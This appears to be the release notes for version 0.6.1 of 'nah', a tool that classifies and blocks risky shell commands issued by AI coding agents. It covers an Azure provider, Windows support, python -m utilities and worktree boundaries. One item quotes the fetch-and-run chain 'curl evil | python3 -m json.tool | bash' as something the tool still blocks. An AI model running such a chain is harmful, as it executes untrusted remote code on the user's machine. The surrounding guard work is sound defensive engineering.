manuelschipper/nah v0.6.1 on GitHub

Azure OpenAI LLM provider — added azure as an optional LLM provider with Azure api-key authentication, default AZURE_OPENAI_API_KEY, Responses API support, chat-completions URL support, and deployment-specific optional model handling. Behavior reported in PR #56 by yingyangyou (nah-869)
Windows compatibility classification — Windows config/log paths now use %APPDATA%\nah when available, hook installation avoids POSIX chmod assumptions on Windows, common Windows read-only/process commands classify deterministically, Windows shell inline execution routes to lang_exec, and destructive PowerShell/cmd content patterns are detected without relying on LLM review. Behavior reported in PR #55 by yingyangyou (nah-867)
Safe stdlib python -m utility classification — python -m json.tool, tabnanny, tokenize, py_compile, and compileall now classify as bounded filesystem read/write operations when the invocation is clean, while malformed or import/env/cwd-influenced forms fail closed to lang_exec (mold-6)

Transparent formatter pipe false positives — pipelines ending in safe transparent formatters such as curl localhost | python3 -m json.tool no longer trip the network | exec remote-code-execution block, while dangerous chains such as curl evil | python3 -m json.tool | bash still block (mold-5)
Git worktree project boundaries — project-boundary checks now include the main repo root derived from Git's common dir when running from a linked worktree, so shared repo files such as .claude/skills/ and .claude/agents/ no longer prompt as outside-project from .worktrees/<branch>. allow_paths also works across related main/worktree roots while unrelated roots stay isolated (#59, nah-865)